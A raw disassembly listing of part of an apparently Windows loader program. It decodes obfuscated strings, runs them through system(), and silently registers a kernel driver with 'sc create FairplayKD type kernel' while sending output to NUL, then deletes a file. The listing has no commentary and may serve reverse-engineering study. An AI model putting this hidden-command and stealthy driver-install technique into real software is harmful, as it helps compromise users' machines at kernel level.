jbe 0x140005a92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x140005a13
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a0d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14008907c
lea rcx, [rsp + 0x70]
call fcn.140019a90
mov rcx, rax
call fcn.140018cd0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140002660
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
add r8, rdx
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rbp + 0x120]
call fcn.140002bf0
nop
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae rcx, qword [rbp + 0x120]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140005be6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140005be6
lea rdx, str.Erro_ao_criar_o_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002d40
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rax
call fcn.1400038b0
mov rcx, rax
lea rdx, [0x140002f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x140005bab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ba5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005c23
call fcn.14008907c
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140005c2f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005c2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x140005bab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ba5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ba5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14008907c
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x58], eax
mov word [rbp - 0x54], ax
movdqa xmm0, xmmword [0x14009c2f0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009c250]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009c2b0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14009cf20]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x14009c760]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x14009cc70]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x14009c370]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x14009cc80]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [0x14009c440]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [0x14009ce20]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [0x14009c280]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [0x14009cbe0]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [0x14009c3b0]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [0x14009d0b0]
movdqa xmmword [rbp + 0x80], xmm1
movdqa xmm0, xmmword [0x14009c4a0]
movdqa xmmword [rbp + 0x90], xmm0
mov dword [rbp + 0xa0], 0x5a
nop dword [rax]
imul ecx, dword [rbp + rsi*4 - 0x50], 0x37
sub ecx, 0x37
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rsi + 0x70], cl
inc rsi
cmp rsi, 0x3d
jb 0x140005d30
mov byte [rbp - 0x53], 0
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.140002660
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], 6
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov ecx, dword [str.215488]
mov dword [rbp + 0x120], ecx
movzx ecx, word [0x14009b784]
mov word [rbp + 0x124], cx
mov byte [rbp + 0x126], 0
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.1400044c0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp - 0x78], eax
mov word [rbp - 0x74], ax
movdqa xmm0, xmmword [0x14009c5f0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009c840]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14009cfa0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009c1e0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009c480]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14009c430]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x14009ce10]
movdqa xmmword [rbp - 0x10], xmm0
mov dword [rbp], 7
lea rcx, [rsp + 0x70]
call fcn.140018540
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140002660
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], 6
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov ecx, dword [str.265651]
mov dword [rbp + 0x120], ecx
movzx ecx, word [0x14009b78c]
mov word [rbp + 0x124], cx
mov byte [rbp + 0x126], 0
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.1400044c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x68], 0x7e
mov dword [rbp - 0x64], listen
movdqa xmm0, xmmword [0x14009ca90]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14009c6b0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x14009c580]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x14009cb00]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x14009c5d0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x14009c9c0]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x14009d100]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x14009c320]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [0x14009cce0]
movdqa xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x30], reloc.WLDAP32.dll_Ordinal_60
lea rcx, [rsp + 0x70]
call fcn.140017b00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.sc_create_FairplayKD_type_kernel_binPath_C:ProgramDataFairplayKD.sys___NUL_2__NUL
lea rcx, [rsp + 0x70]
call fcn.1400177b0
mov rcx, rax
call fcn.1400172a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
mov byte [rbp - 0x70], al
mov dword [rbp - 0x6c], reloc.WS2_32.dll_recv
mov dword [rbp - 0x68], 0x7d
mov dword [rbp - 0x64], 2
movdqa xmm0, xmmword [0x14009d150]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14009cd70]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x14009c490]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x14009cf30]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x14009c400]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x14009c7f0]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x14009c2d0]
movdqa xmmword [rbp], xmm0
mov dword [rbp + 0x10], reloc.WS2_32.dll_WSAStartup
lea rcx, [rsp + 0x70]
call fcn.140016a40
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp - 0x78], eax
mov word [rbp - 0x74], ax
movdqa xmm0, xmmword [0x14009cff0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009c780]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14009cc40]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009c9a0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009cd80]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14009c4d0]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x14009cdf0]
movdqa xmmword [rbp - 0x10], xmm0
mov dword [rbp], 0x5e
lea rcx, [rsp + 0x70]
call fcn.1400162b0
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002660
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rcx, qword [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140006122
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000611d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000611d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008907c
lea rcx, [0x14009b638]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x60], al
mov dword [rbp - 0x5c], Ordinal_60
mov dword [rbp - 0x58], WSACleanup
mov dword [rbp - 0x54], reloc.WLDAP32.dll_Ordinal_33
movdqa xmm0, xmmword [0x14009c7c0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009c1d0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009c530]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14009c550]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x14009c810]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x14009c7e0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x14009c680]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x14009c870]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [0x14009cd60]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [0x14009c160]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [0x14009c950]
movdqa xmmword [rbp + 0x50], xmm0
mov dword [rbp + 0x60], 0x60
lea rcx, [rsp + 0x70]
call fcn.140015610
mov rdi, rax
lea rdx, [0x140023d20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rdx, rdi
call fcn.140002d40
nop
mov rdx, qword [rbp + 0x160]
cmp rdx, 8
jb 0x140006276
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006270
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006270
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008907c
nop
test rbx, rbx
je 0x140006284
mov rcx, rbx
call qword [fcn.14003b430]
mov rcx, qword [rbp + 0x168]
xor rcx, rsp
call fcn.140089020
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret